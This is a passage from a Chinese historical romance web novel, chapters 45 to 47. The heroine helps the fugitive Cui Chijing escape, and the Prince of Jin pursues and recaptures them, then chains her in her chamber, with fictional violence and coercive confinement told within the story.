岑璠手严严实实按在地上,掌心似是蹭破了皮,火烤似的疼,可掌心下确实压着东西 她手收紧,在尔朱阳雪低身扶起她时,将字条塞在了腰间。 第45章 第四十五章再逃 尔朱阳雪担心,扶她起来,槿儿拍了拍她的衣裙。 槿儿看向远处,“也不知道是谁,走这么急……” 岑璠站起来,向远处看去。 远处火龙盘绕,摩肩接踵,每个人手里几乎都提了一盏花灯,人群慢悠悠向前涌动,刚才撞她的人早已消失不见。 似有人藏于暗中,随她们一起停了下来,同她望向一处。 岑璠想起,周围有人在监视,她并不算是自由。 她抿了抿唇,“无事,只是手上脏了,兴许是和家里人走散了,在找人罢,不必计较……” 槿儿看了看她的手,“姑娘的手明明破了…” 尔朱阳雪也发现了,几人未再多走,回到府上,槿儿给她手上上药。 看到她裙上的脏痕,又掀开裙摆,瞧见她膝盖也破了,青一块儿紫一块儿,又要在她腿上撒药。 岑璠自己脱了裙,趁槿儿倒药的时候,将字条攥在了手里。 似感觉不到疼,手心攥出了冷汗,槿儿交代的话也听不清。 待到下人从屋里出去,岑璠摊开手心。 那张纸条被握的皱皱巴巴,浸着手心的汗,上面还有自己手上的血渍。 翻开那张字条,那上面的字迹并不算好看,不是崔迟景亲自书写,却写清了他现在所在的地方。 信不像是假的,不然也不可能用那种方式找到她,送给她。 岑璠眼睛动了动,心底又燃起了一团火种,胸腔传来阵阵颤动。 他竟然是在晋阳…… 他没有死…… 那她呢?她是不是也在? * 翌日,岑璠起的早了些。 常年战乱,无论南北,大城之内,时常有流民聚于城外。 晋阳也不例外。 岑璠想要给城外的流民施粥。 韩泽一时为难,倒不是说不可,实施这施粥有利也有弊。 利在于能树立威望,弊便在于,若是开仓济民,四面八方流民便会聚集于此。 如今战乱不止,流民实在太多了…… 最主要的是,晋王如今不在,就连杨太尉也不在城中,连能拿主意的都没有。 岑璠却是坚持,“昨日在街头,月圆之夜,尚有百姓无家可归,于街乞讨,心中难安,施粥一二,也算是为殿下行善德,安民心。” 见韩泽还是犹豫,她皱了皱眉,“本王妃为此彻夜难眠,不过是想施粥得以慰藉,难道这也不可?” 韩泽心中一惊。 他知道王妃是个心善之人,重民爱民,在孟村的事他也看在眼里。 这王妃从来不会拿身份压人,可如今为了那些流民竟也是拿出了王妃的架子。 韩泽知她态度坚决,退开一步,“自然是可以,小人这就去准备。” …… 令韩泽欣慰的是,这次施粥并不是大开城门,在全城施粥。 岑璠去了城外,只架起一座粥棚。 她不求施粥能有多少人来,只求尽快。 那字条上说,崔迟景受了伤,他们进不来城里,想让她拿些止血的伤药送出城外,城外有扮成流民的人接应。 她身边有无数双眼睛,如果想把药送到他手上,也只有这一个办法…… 如果晋王之后发现了蹊跷,那便发现吧…… 起码他现在要活着。 岑璠手脚冰凉,不知道是因为这些日常食用那香囊里的香料的缘故,还是因为害怕。 她向四周望了望,城外流民并不算是少,或许是最近朝野动荡,流民更向晋阳聚拢。 而这些,她现在才发现…… 她刚架起粥棚,便有人蜂拥而上。 那些人像是真的饿了,韩泽担心流民生事,她身边有不少侍卫围护,横眉竖眼,那些流民应当也是受过驱赶,只领了粥便离开,并未有太多纠缠。 岑璠不知道那药有没有送出去,确实有流民讨了药,有的是自己身上有伤,也有为家里人讨要的。 一瓶瓶上好的伤药,风寒药送出,岑璠不知道有没有崔氏的人。 可若是真的在,想必是能拿上药的。 连着施粥两日,岑璠倒是认出几个重复领药的人,那人应该也是警惕,并未与她再相认。 岑璠不放心,彻夜未眠。 她现在还没有阿湄的消息,万一阿湄她有事,她觉得她可能真的会疯…… 她想去见崔迟景一面,无论付出什么代价,或许她能问出阿湄的下落。 过了两日,岑璠邀尔朱阳雪去城外的跑马。 按照那人的说法,崔迟景就在城外的云中山里,向北的一座荒墓下…… 清河崔氏,百年世 家,权势鼎盛之际,竟是倾然崩塌,如今只能四处躲避追杀。 岑璠上一次跑马,还是和尔朱阳雪,后来也不过被晋王带出去一两次。 他带她出去,也总是和她同乘一骑,偶尔嘴上教她一两句,却并不会让她自己一个人好好跑马。 若她要撇下这些人自己跑,可能有些困难,骑马可能很快就被抓到了…… 槿儿和乳娘她们也不能依赖,虽然是她带来王府的人,可她知道,她们现在所愿就是她能和晋王过好日子,也许并不会向着她…… 可再难总也要试试。 这次出去,总要去找他可能的藏身之所。 和尔朱阳雪出去跑马,总要自由许多,起码这匹马的缰绳在她手上。 岑璠和同行的人说,她想往远处去。 尔朱阳雪明显心有犹豫,韩泽和乳娘也劝了两句。 岑璠道:“尔朱姑娘说过,鹰不该养在笼子里,我虽不是鹰,但是人,我只是想往远些走而已,这样跑总是没意思的。” 她虽有目的,可这番话确实是她发自肺腑,说的恳切。 尔朱阳雪愣了愣。 须臾后她明白了。 面前这个人厌恶极了,厌恶这样被关着,被人看管着。 她确实遵了晋王的命令,带她出来走走,但不能离开她,不能跑太远。 若是她自己,凭心而论,这么被人监视也定是不愿。 尔朱阳雪思虑片刻,打了缰绳,“好,那便听王妃的。” 两匹马并排而行,身后墨群还有几名侍卫跟随,马蹄踏过溪涧,打马扬鞭,疾风掠过脸颊。 这是岑璠第一次自己在林间肆意打马,她定定看着前方,却到底有些心不在焉。 林影渐深,光线忽明忽暗,古木参天,投下斑驳金色。 周围越来越幽静,岑璠还是没寻到那人所说的地方。 尔朱阳雪勒住马,“王妃,我们回去吧。” 再往里便进入山的深处,云中山如其名,林间雾气弥漫,斑斓朦胧,草木若隐若现, 岑璠抿了抿唇。 她不甘心就这么回去,可若再执意向前,本面前的人发现行动有异怎么办? 岑璠站在原地,手中缰绳握紧。 那匹马是尔朱阳雪送给她的,温顺的红马正低着头,似感受到她的想法,摇头向前兴奋地走了两步。 忽而一阵极快的马蹄声隐隐自身后响起。 不待反应,一阵箭雨似是朝着那马蹄的声音而去,随即烟雾自空中铺洒开,视线模糊。 在她身边的墨群率先反应过来,大喊一声“保护王妃”,高耸的竹林沙沙作响,似有几个暗卫从天而降,与人缠斗在一起。 背后的马蹄声却越来越近,掠过她时,重重抽了她的马。 身下的马一声嘶鸣,岑璠大惊,差点没踩住马蹬,紧紧抓住缰绳,稳住身形。 风陡然凌厉,背后似有人追了上来,“在下崔渡,王妃莫怪!现在只有您能救我家公子!” 岑璠眼睫微颤,似明白了什么,霎时间眼神直视前方,踩稳了马蹬,又一踢马肚。 她从来没跑过那么快,感觉身子悬浮在马背之上,颠簸地有些反胃晕眩,浑身泛冷。 她知道这样有摔下马的危险,可她不想让后面王府的人追上。 又往前跑了许久,那人用力拽了她的马绳,那马刹不住步子,岑璠咬紧牙,自己又狠狠一拽,刚结上疤的手心上又赫然出现两道血痕。 马扬起蹄子,止住。 一旁有一座荒凉的墓地,墓外有一人接应。 崔渡将她的马往丛林里牵,岑璠跟着另一人走。 墓外有一道石暗门,那人用劲推开,一阵冷风扑面而来。 那人熟练点起火折子,岑璠有一瞬的犹豫,可还是提起裙摆,随那人缓缓自暗道而下。 墓地中阴冷潮湿,水滴沿墙缝落下,坠在她的锦衣上。 墓中放着一座棺椁,只是那棺盖大开,里面陈放的并没有尸骨,似是很久前被盗过的空墓。 棺椁旁靠着一个人,静静无声,身上裹着好几层厚厚的白色布衣,火折子映照出一张苍白的面容,头发凌乱,似再自言自语什么。 想起那俊朗温润的少年,岑璠鼻头一酸。 他是她的朋友,也是那人认定相守一生的人…… 岑璠下了墓,看清了他肩上的箭伤。 那箭伤上撒了药,缠了白布,可那白布还是被血迹浸染。 药瓶就在一旁放着,是她那日送给流民的。 拿着火折子的自称是追随崔氏的死士,名叫段邢。 段邢道:“还要多亏王妃的药,我们公子的伤才能止住血,周围溃烂的伤也止住了。” 岑璠道了声“无妨”,轻轻叫了声“崔迟景”。 他似有听见,微微皱眉。 那面容无色,脸颊却是透着不正常的红,满头是汗,岑璠知道,有伤的人很容易发热。 岑璠带了些能补气血还有治风寒的药丸,喂崔迟景吃下。 一旁的段邢拿了水囊,给他灌了些,大半的水喂不进去,洒在了他的衣襟上。 崔迟景缓缓睁开眼,似是轻轻叫了声她的名字,而后眼瞳看向死士,嘶哑地问了句,“怎么把她带来了?” 死士跪地抱拳,“此为晋阳界内,公子您再这么拖下去会没命,是属下自作主张,请晋阳城内的王妃过来!” 他看了她一眼,想起前些日子见她时王府诸多管控,苦笑道:“王妃自身难保,还是先请回吧……” 岑璠定定看着他,坚决道:“我不会让你死,起码在她找到你之前。” 大不了以她为质,若他要抓,便也将她抓了去罢。 崔迟景似是顿时清醒了些,他微微睁眼,声音愈发急促,“你说她、她来找我?怎么可能,郑家怎么可能让她出来找…” 岑璠抿了抿唇。 她现在可以确定的是,郑伊湄并没有找到他,他们这些人也不知道阿湄失踪了……。 “她在找你,现在我也没有她的下落…”岑璠淡淡说完这句,抬头道:“所以你不能死,你要等到她回来。” “你是我的恩人,就算是因为这个,我也不会让你轻易死了。” 崔迟景扯开唇,“那点小恩,王妃还记得…” 说罢,他咳嗽了两声,身上的血迹又映开一片。 “就算是小恩,也是你救的我,我都记得。” 话音刚落,墓道中又出现了些光亮,刚才打马的人从墓道疾步下来。 崔渡赔罪道:“那日中秋夜冲撞了王妃,王妃见谅。” 他说完便抬头,“此地不宜久留,王妃先带公子出去,沿北山路向上,有一个猎户的院子,可暂作栖身之地。” 岑璠颔首,又问了问具体的方位,两人将崔迟景一起扶上马。 她顾不得男女之别,驮着他,带他打马上山。 另两个人留在了墓地。 崔渡说,刚才那些在山林中截住她的,已经是最后一批能用的死士…… 岑璠知道此时不该耽搁,她从未骑马上过山,如今也是上了。 背后还背了个人,缰绳难以驾驭,崔迟景又高大,没过多久岑璠手臂和腰背便酸了。 手心越来越冷,缰绳摩擦,似没有知觉。 就在此时,背后似是一阵疾风,手臂随即感受到猛烈的冲力,背后之人一声闷哼。 岑璠向后看,只见他手臂上又中了一箭。 她刚想说什么,那匹马却忽地往前摔去。 她滚到了地上,连带着还有崔迟景。 他脸色苍白如纸,双眼合住,已经不省人 事。 岑璠又看了看那匹马,只见那马的一只马腿上中了箭。 四面八方围来了人,身披兵甲,岑璠却觉得这并不是晋王的人。 如果是他,不会刚才伤了那匹马,也绝不会想要摔她下马。 那些人拿着刀尖向她走来,并未看她,看的是她身后的崔迟景。 岑璠双手抓地,下意识爬起来些,护在他身前。 长刀亮出锋芒,将要挥落之际,忽地一只长剑抵住刀刃下的倒钩,一个剑花一转,大刀被巧妙的别开。 第46章 第四十六章“长本事了?”…… 站在她面前的人,身穿暗红色的劲装,是一张熟悉的面容,却是不熟悉的打扮。 她风姿婉约,乌发用红带扎成高髻,红唇不点而朱,衣摆发带随风飘逸,长剑锋芒毕露,挡在两人面前。 岑璠过去听说过,世家女子有随家族习武者,文武双全,前朝世家才女,国破家亡之际,却能拿起刀剑带领族人抵御外敌。 岑璠愣了许久,一阵风而过,碎发挡住些视线。 “阿湄” 面前的女子看了她一眼,随后翩然如蝶,步伐如燕,手中长剑舞动,一招一式无杀意,轻巧灵动,巧力化解到他们面前的杀招。 她带来的人手与那些杀手缠斗起来,那些人身手矫健,不落下风。 岑璠分过神来,想起身后的崔迟景,转过身去。 他似已经没了意识,满脸都是灰尘,嘴唇干裂苍白。 岑璠心底怔了一瞬,探了探他的鼻息。 那鼻息尚存,岑璠松了口气。 “先上马。”郑伊湄分出神来喊道。 岑璠听到声音,将崔迟景扶起来。 他身形高大,背在背上比米袋还要沉重许多,岑璠踉跄了几步,见郑伊湄自前开出一条道来,咬紧牙拖着他向前走。 两匹马在包围圈之外,有一护卫守着,郑伊湄抵开又一把刀,几个杀手迅速追过来,皆被其他人拦住。 身后打斗声不断,郑伊湄将崔迟景扶上马,自己跟上去。 她坐在他身后,趴在他的背上,“没事了,我在” 岑璠上了另一匹马,能看得到,阿湄的眼睛红了一片。 随即,那人转过头去,眼神果敢而又坚定,打马扬鞭而去。 岑璠跟随她而去,一路向北,而后盘旋上山。 山间渐冷,天色也变得暗沉,后方有人跟上,似是郑家的人,只缀在他们身后,并未追赶。 岑璠手脚冰冷,脸颊发麻,风迎面而来,不得不眯起眼睛。 也不知道崔迟景能不能坚持下来 她这么想,前面的那匹马忽然停在了一座小院前。 郑伊湄下马,没了支撑,崔迟景便歪了身子 她连忙接住他,那人落得太重,她身子后仰,倒退两步。 也不知道是冷的,还是恐惧,她的手颤抖,摸向他脖间的脉搏,似是松了一口气,垂下手,可随即埋在他的肩上,泣不成声。 岑璠走到她身边,抿了抿唇,扶住她的肩膀。 跟在他们身后的护卫紧随其后,为首一人名为窦鸿。 窦鸿主动背走了崔迟景,微微一叹,道:“姑娘还是先进屋吧。” 岑璠扶着她向院内的茅草屋内走去,室内充斥着寒气,却不怎么漏风,窦鸿擦了打火石,燃起烛火,屋里才变得温暖些。 窦鸿放下包袱,将崔迟景放在床上。 比起刚才不省人事,他眉头轻拧,似是很难受痛苦。 不过能有知觉便是好的,起码还活着。 他的手臂上有一只箭,窦鸿将他身上的衣布扯开些,郑伊湄迅速抹掉眼泪,上前一同察看。 那只箭插得不算浅,伤口周围血迹模糊,门外已经有人开始架起柴火煮水,岑璠打了一盆水进屋,郑伊湄取了身上的帕子给他擦了伤口。 似是因为太久没取箭,那伤口呈青紫色,肿胀一片。 窦鸿道:“姑娘把药拿来,先取箭吧。” 郑伊湄立刻从包袱中取来药还有纱布,窦鸿未再有犹豫,手握紧那只箭,使劲拔出,鲜血从伤口迸出。 崔迟景似有反应,闷哼一声,脸上出了冷汗。 郑伊湄小心翼翼给他擦了血迹,没再哭,变得很是平静,一只手帕被染成了红色,扔在水盆里迅速晕出一片红色。 上药包扎好伤口,他的脸色变得有些血色,只是脸色红的异常,像是在发热,时不时说两句胡话。 窦鸿紧皱了眉。 这种情况并不算好,很多受伤的人便是如此,发热后过一夜便再也起不来了…… 岑璠从王府带了药来,那些药都是最好的药,是她前几日无理取闹,非要去城外救民时存下的。 他药丸吞不下去,郑伊湄便叫人煮了药来,喝不下便扶他起来,一点点不厌其烦地往嘴里送。 大半药都洒了出来,郑伊湄静静喂他,用袖口替他擦药,不过一会儿,眼泪便又掉落。 后来给他肩上换了药,郑伊湄便也是撑不住了,站起身拿纱布时晃了晃。 岑璠放下换过水的盆,扶住她。 窦鸿道:“姑娘昼夜兼程,也先去休息罢,我替公子换药,再擦擦身子,这么热下去也…” 剩下的话窦鸿说不出,他看了看岑璠,颔首道:“姑娘就拜托王妃了。” 岑璠心领神会,拉着郑伊湄往外去了另一间屋子。 那间屋子像是柴房收拾出来的,柴火还堆在一边,地上临时用草堆和褥子铺了做床。 郑伊湄并没有说什么,似是习惯,想来这几日便一直是这么过的…… 她靠在墙边,束起的头发有些散乱,目光停滞地看向角落里的一小团烛火。 岑璠端了碗水来,随她坐在墙边。 “谢谢皎皎……”她轻声开口,声音哽咽,捧过那碗水,抿了一口,便再也喝不下去,“皎皎,你说我该怎么办……” 岑璠抹去她的眼泪,轻声问道:“阿湄能同我说说,究竟发生了什么事吗?” 郑伊湄似是已经接受了事实,不缓不急陈述,“崔家勾结梁国,与北地串通,家主被召入宫问话,隔日便有旨意传来,说是崔纪畏罪自杀,洛阳崔家满门,一夜间全没了。” 她冷笑一声,“畏罪自杀……崔司徒那样的人,你信吗?” 岑璠一时沉默,她没见过那位权倾朝野的崔家主,可她也能想到,这畏罪自杀不过是借口。 皇帝这是决意要铲除崔家,是筹谋过一番,不然不可能这么悄无声息,一夜间铲除崔家满门。 崔迟景前些日子,是被晋王调来了晋阳…… 两件事陡然联系在一起,岑璠皱起眉。 她沉默许久,才又问道:“那崔迟景呢?他为何会来到晋阳,还受了伤?” “崔家人接到消息本是想逃,却被拦在城门口,其中有他的母亲…”郑伊湄蜷起身子,声音越来越小,“崔家的人都被扔在了城外的乱葬岗,我也不知道他为什么会回去,他不该回来,可如果换作是我……” 郑伊湄愈发语无伦次,岑璠却能大概明白这些日子究竟发生了什么事。 崔迟景应该是得了消息,回洛阳后却遭到追杀,一路躲藏,逃到元衡的地盘来寻她。 而阿湄是一路追崔家人的痕迹而来,应该是也猜到了崔家人会躲来晋阳,得到了她这个王妃要出城的消息,本想和她在城外见一面,却恰好遇到她被崔家人劫走,才能找到他们……。 这段时间晋王和太尉双双离开晋阳,他派人看着她,应该都 和崔氏的事有关…… 她听阿湄说过,那太尉恨崔家入骨,可她不知道那人的态度。 可若要杀,他为何又要将崔迟景特地调来晋阳,若是要救,又为何又不告诉她? 岑璠一时拿不定,她转头看向阿湄,她的眼睛哭得红肿,像是太害怕,整个人蜷成一团。 一时间所有的顾虑便都散了。 不管其他人的立场如何,她都该救崔迟景。 岑璠接过她手中的碗,正要起身,却听一旁的人道:“皎皎明日还是回去吧。” 郑伊湄撇开头,“晋王那个人定是派人看住你,我知道你不容易,若是你跟着我们,想必之后在王府的日子会更难吧……” 岑璠抿了抿唇,又坐了回去,“我不会回去,若是你们在这里出了事,我才真的会寝食难安……” 两人都默了一瞬,岑璠就着碗沿喝了口水,同她一起靠在墙边。 陪着她。 “谢谢你。”郑伊湄又说了一遍。 岑璠摇了摇头,“没什么好谢的,都是应该的。” 角落里的烛光时而跳跃,映照在两张面容上,昏黄寂冷,却是黑暗中唯一的温暖。 忽的,郑伊湄站起身。 岑璠跟着站起来,她却道:“皎皎在这里休息吧,我去看看他,待会儿让人给你拿点吃的来。” 她声音有些梗塞,声音小到似连自己都不确定,“明天咱们几个还要一起赶路呢……” 岑璠缓缓坐下,没再多说什么。 她知道崔迟景的情况很不好,阿湄定是想去陪着他,有话要单独同他说…… 她一个人坐下,心中也有些彷徨。 就这么走了,晋王定是会追来,这毕竟是他的地盘,她没那么好躲。 她怎么样无所谓,他应该是不会杀了她,也许会变本加厉折磨她,可如果他怪罪这两个人… 岑璠心里不安,窦鸿送来的烧饼也只吃了几口。 院里渐渐静了下来,阿湄还没回来。 她躺在这里怎么也睡不着,推开门走到院中,院中有一些侍卫在闭眼蓄神,听到动静睁开些眼又闭上。 窦鸿正拿了件厚衣,往屋内送,看到她道:“王妃可是有什么事?” 岑璠这时才分出神注意到称呼,她道:“还是叫我岑姑娘吧…” 她看向屋内,压低声音,“他们怎么样了?” 窦鸿想了想,若他们之后还要逃到其他地方,再叫王妃也不合适,便立刻改口,“岑姑娘放心,崔公子已经退了些热,有姑娘在里面陪着,若是熬过今晚,明天便能清醒过来。” 岑璠颔首,接过他手里的毯子,悄步走进屋子。 那屋子里有些冷,只两人的床边放了炭火。 崔迟景身上盖着厚棉被,一旁的姑娘趴在床边,握着他露出被子的一只手。 屋内静悄悄的,两人都睡的很熟。 岑璠给她披上那件厚衣裳,蹑手蹑脚出了门。 门合上没过多久,崔迟景却是醒了。 他缓缓睁开眼,动了动手,而后看向床边,眼睛睁大了些。 即使是在黑夜,也能一眼认出来。 那是他最喜欢的姑娘啊…… 只是她怎么会来这里? 崔迟景想要起身,可他左肩有伤,右臂又中了一箭,起得艰难。 可即使是这样,她也没有醒,想必是累坏了。 崔迟景嘴角勉强牵起一个笑,眼中缱绻温柔,想要摸她的脸颊,却在指尖触及的最后一刹那收回了手。 他缓缓下床,瞧见她肩上的衣裳落下些,便又帮她拢了拢。 “门外有侍卫,你走不掉的。” 那声音闷闷的,似有委屈,还有蛮横,也有些许恼怒。 崔迟景动作一顿。 郑伊湄起来,拽掉身上的衣裳,勒令道:“我把你救回来,你若是敢走出这间屋子,这辈子,下辈子,你都休想再见到我。” 崔迟景有一瞬的怔愣。 可他还是不想连累她,她跟着他会吃苦。 “崔家会有人来,你若不放心,把我留在这里吧,我在这里等——” 话还未说完,柔软的唇贴在了唇角。 似有一滴眼泪滑落,滴在他的手背上。 她仰头,声音哑然,“崔迟景,你能不能别骗我?” 崔迟景手背动了动,而后猝不及防将她拉进了些,黑夜中相拥,享受着片刻的平静。 郑伊湄愣了愣,不由自主抱紧他,闭上眼,“你的命是我的,想什么时候不要,也该是我说的算……” “知道了,以后这条命都是你的…” * 翌日天还未亮,便要出发。 山外另一头的镇子旁有一座小院,此前郑家的三公子在此地做官历练,在镇外搭了座院子,收拾出来,应该能让崔迟景暂避养伤几日, 郑伊湄又劝了劝,岑璠不放心,还是想他们送出山去。 几人便一起前行,郑伊湄和崔迟景共乘一骑,行进地并不算慢。 不论是晋王还是其他来路不明的人,他们都要在下山前避开。 其实郑伊湄并没有十足的把握。 事实上,能在下山前平安无事,不遇上任何一方,这很难…… 一行人分成两批,一批沿途时不时做些印记,而他们这一批人走的路偏,极力掩饰着行踪。 接连两日骑马,岑璠并未穿厚裤,只觉得大腿两侧被磨的疼。 她未有些许抱怨,中午吃过些烧饼腊肉,继续对队伍赶路。 只是刚走没多久,后面便传来一阵马蹄声。 接连几日被追赶,岑璠对这种声音极度敏感。 她知道,又有人追上来了! 不同于之前那些追来的人,马蹄声更响,更规整,像是训练有素。 兵甲碰撞声响起,越来越近,不似昨天那些人先射来几支暗箭,再悄无声息包围他们,是在明打明的追。 岑璠有一种预感,那种预感越来越强烈,慌乱得近乎让人头皮发紧,眼前晕眩。 是他,他要追过来了……。 他们这行人行的又快了些,郑伊湄下了令,几批人向不同的方向散开。 后面的队伍也紧跟着下了令,岑璠听不清是什么,只知道那些人也向四面八方散去。 她抿了抿唇,看了看前面的两人,一甩缰绳,自己偏离了方向。 若是他的目的是来抓她,想必也要分来一部分人来。 能少些人,他们能逃走便好… 果然,她一离队,身后立刻有几个人跟了上来。 那些人并不慢,离她越来越近。 岑璠身上冷汗密布,又一打马,身后的马蹄声逐渐稀疏。 最后,身后似只剩了一匹马。 可那马蹄声越来越近,不过一会儿那人便追上了她。 风中飘来一句话,似是戏谑,夹带着怒火,“长本事了?” 岑璠瞳孔骤然紧缩,向一旁看去。 他长发高束,身穿军服,嘴角噙着一抹冷笑,目光寒芒四射。 他竟然亲自追了上来…… 岑璠手一瞬间凉了,手心的缰绳松了些, 元衡靠近她,手拽住她的缰绳。 这匹马并不像她原先的那匹,性情温顺,元衡这么一拽,便扬起了蹄子,就要把她掀下去。 一只手稳拖住她的腰,犹如一只蟒蛇缠绕,用力一带,将她抱上另一匹马, 熟悉的沉香味包裹,夹杂着尘土与汗味,在她上马的下一瞬,便掉转马头。 岑璠剧烈挣扎,那人锢住她的腰,硬生生勒住她所有的挣扎,在她耳边道:“你不想看看他们两个会如何吗?嗯?” 岑璠愣住,微微转过头去,唇瓣几乎相抵。 她看不清他的神情,可那呼吸粗重,近乎是咬着牙说。 她停了话音,呆呆望着前方。 马蹄声渐快,一路回到她原来的方向。 渐渐地,她看见了一队身穿兵甲的正规军, 那些人疾驰,见到他们往一旁避让。 背后的身躯宽大,挡住了山风,岑璠却觉得越来越冷,冷到被握住的掌心近乎僵硬。 忽然,最前方疾驰的两人出现在眼前。 那条路的尽头,是一处断崖…… 岑璠脑中一片空白,大喊一声“阿湄!” 那两人没有回头,就在这时,她看见一只利箭寒光闪烁,映在眼前。 她张大了嘴,猛地扑住面前的人。 元衡没想过她会如此,举起的箭落下一瞬,压住她的手,而后又举起。 弓弦紧绷,发出吱呀的响声。 岑 璠又要抓他的一瞬间,弓拉满,箭离手。 风声自她耳边划过,弓弦那只箭离弦,穿过马腿。 那只马前扑,跪倒在地,郑伊湄垫在崔迟景的身下,重重摔下马背。 “不要!!”岑璠尖叫,那叫声凄厉。 勒住马的一瞬间,她极力挣脱,竟是连元衡也锢不住。 她滚下马去,半跌半走,挡在了两人身前,张开双臂,扫了眼四周的兵卫,最后狠狠盯向他。 “你若要杀,便把我们都杀了吧!” 元衡坐在马背,挺立威严,低眼看她,似不近人情,可眼底终究是红了。 只是下一刻,他又冷漠地举起了那柄长弓。 一只长箭似从她的脸边擦过,冷到发疼。 第47章 第四十七章(文案)一条锁链…… “寻简!” 背后传来一声嘶喊,岑璠猛然回头,只见那一箭又射在了崔迟景的肩上,就在他旧伤的地方。 崔迟景脸色骤然间变白,他身旁的姑娘抱着他,几近恸哭哀嚎。 听到那声音,岑璠眼睛泛酸,眼泪兜不住,从脏兮兮的两颊划过,两道泪痕洗清原本白皙的皮肤,清晰可见。 她转过头,一双杏眼瞪着他,满是恨意,目光不移,慢慢站起身。 元衡坐在马上,同她对视,似无惧怕,冷漠道:“拿下。” 周围的军士上前将几人押住,包括她。 岑璠跪了下去,挣扎无果,咬牙盯着他,许久后喊了句,“我恨你!” 那双握着缰绳的手愈发紧,青筋暴起。 元衡喉结动了动,看向她背后的两个人,命令道:“先带王妃下去。” 岑璠不肯,就像是被抓住耳朵的兔子,想尽一切办法要挣脱。 那两人不敢下重手,相顾而望,似是为难。 元衡闭上眼,似是没了耐心,道:“让她安静,带回去,不会吗?” 押着她的两人心领神会,其中一人大喊一声“得罪”,一手刀下去,周围便是安静了下来。 可打晕后,那两人不知道该如何将她抬下去,最后想了想,只能架起她的胳膊走。 元衡目光追随,最后还是将她抱上了马,似是不满她就这么灰头土脸的,无视悬崖边上另外两人,替她慢慢擦拭脸上的灰尘。 直到那张脸又干净了些,他才看向两人。 崔迟景皱着眉,似是已经有些意识模糊,元衡看了他两眼,目光便移向另一人。 郑伊湄眉眼间俱是淡然,可那眼底看去,是不屈不畏。 那种目光,和他的王妃很像。 郑伊湄开口,“晋王打算如何处置我们两个?” 元衡冷道:“郑姑娘可知道,帮朝廷命犯出逃乃是大罪。” “那又如何?”郑伊湄立刻道:“我既选择帮,便不会不知道,你都要处置,便将我二人一起处置了吧。” 元衡凝起眉,继续道:“郑姑娘若是现在改口,本王可以看在郑家主的份上,饶你一命。” 郑伊湄摇头,看向他,终究什么也没说。 须臾间她又垂下头。 她这一生对不起父兄,他们都待她很好,可她应该是要让他们失望了 她舍不下,舍不下面前这个陪了她十七年的人。 她知道,没了他,此生再难有欢愉可言。 郑伊湄弯起唇角,静静地盯着地面,渐渐地,那双清亮的眸变得灰暗无光。 她抬头,嘴上还挂着笑,“请便吧” 元衡摆了摆手,队伍中走出两人,一人拿了酒壶,一人拿了两盏酒盏。 清酒缓缓倒入杯中,时间却仿佛凝固,漫长而永恒。 郑伊湄盯着那两盏酒,说不出的平静。 她抬眼,问道:“晋王殿下可还记得,臣女曾经救过殿下一命?” 这件事从来没摆在明面上,元衡便是沉默许久,才答道:“记得。” 郑伊湄笑了笑,“臣女自知犯下大罪,不求活命,只求死后晋王能将我二人葬在一起。” “还有,莫要追究皎皎的罪责。” 元衡道:“好,这些本王答应你。” 两盏酒送到面前,押着两人的军士松开手,崔迟景直直往下栽去。 郑伊湄扶着他,轻声问道:“能听见我说话吗?” 他似是用尽了一切力气,睁开眼,启开唇。 郑伊湄捧着他的脸,凑近些,想听清他说的是什么。 可到头来却听到一句,“你能不能不要陪我一起死?” 刚才的郑伊湄并未掉一滴眼泪,可听到这句,却是泣不成声。 她摇了摇头,眼瞧着他就要不清醒,端来那杯酒。 凝视着酒中的倒影,两滴清泪划过,掉落到酒盏中。 额头相抵,她轻轻问道:“崔迟景,你知道民间的寻常百姓是如何喝合卺酒的吗?” 她这么问,却是未能等来回音。 郑伊湄默声笑了。 她将那杯酒送到自己的唇前,又握紧他的臂,从自己的臂弯中穿过。 如此喝酒的场景,她想过无数次。 若能同他远离洛阳,闲云野鹤,赌书泼墨,做一对寻常夫妻,拜过堂喝杯交杯酒,只请几个好友在山间摆个小宴庆祝,也是极好。 不过如今这样,也算是如愿罢。 青山做媒,白云为聘,天地为证,群鸟为宾客,如此这般也算是此生做过夫妻。 剩下的便只能寄予来世了 山风吹卷呼啸,两杯酒饮尽,酒杯掉落在地上,风也便停了。 * 岑璠醒来是在王府的那一方小院中。 天还亮着,那光刺眼,不似黄昏。 她陡然间意识到,自己可能是睡了一天一夜 身上的衣裳已经被换过,换成了她常在王府就寝时穿的软纱裙,就连身上也变得清爽。 她绝对不可能睡得这么沉,连什么时候被换了衣裳,被清洗过身子都不知道。 房中有一股幽飘散,不似寻常的味道。 岑璠隐隐觉得是那香的原因。 她起身,正要下榻,却忽然停住。 她的手腕上不知何时卡上了一只金色的手环,而那手环连着一条金链,那条金链在阳光下闪烁金光,透着寒芒。 岑璠怔了一瞬,似不敢相信,拽了拽那条金链。 金链的另一端连向床榻,并不算短,但她也出不了这间屋子。 岑璠心里忽地异常烦躁,使劲拽了几下那金链,一张楠木打得雕花床被拉的隆隆作响,可金链却扯不断。 这几声响却似是招来了人。 门打开,元衡目光移向她,若无其事坐在床边,将那串金链摊在手上,像是在同她展示一般。 岑璠一时慌乱,“你要做什么?” 一串金链从他手里掉落,玲玲作响,元衡看了她一眼,温柔地笑了。 “自然是怕王妃再跑出去,伤到怎么办?” 那笑容和声音太过平和,让岑璠不寒而栗。 元衡握住她的手腕,反复看了看她手上的摔伤和勒痕,脸上的笑容消失了些。 岑璠这才发现,自己的手上被上了药。 他似是没打算做什么,走到桌前,拿起药瓶,往她手上耐心地上药。 她皱眉,眼神中是愤恨,“把这条链子去了。” 元衡置若罔闻,小指轻轻铺好她手上的药粉,起身淡淡说了声,“不可能。” 岑璠下意识蜷手,他却道:“手上刚上好药,别弄脏了手和衣裙。” “这么自欺欺人有意思吗?”岑璠看他放下药瓶,低眼走来,眼神和语气尽是嘲讽,“晋王殿下难道准备锁着我一辈子?” 不知道这句话如何触怒了他,他站在床前,手抚向她的脸颊,猛然抬起她的下颌,低眼道:“你若还想跑,也不是没有可能。” 他居高临下俯视她,那目光和昨日她见到的如出一辙。 高高在上,全是蔑视。 岑璠眼神陡然又变得凌厉,冷声问道:“他们呢?你把他们怎么样了?” 元衡唇抿成一条缝,沉默许久后收回手,淡淡吐出两个字,“杀了。” 岑璠有一瞬的失魂,可想了片刻便摇头,“不可能,你不可能杀了他们。” “就算你敢杀崔迟景,你也不敢杀郑家人!中书令还在,你绝对不敢杀她!” 她一口气说完这些,愈发笃定 ,眼神中的讽意便愈发肆无忌惮,“晋王殿下,别骗人了!” “本王确实没你能骗人。” 说罢,元衡从腰间扯掉一只香囊,扔到她的床上。 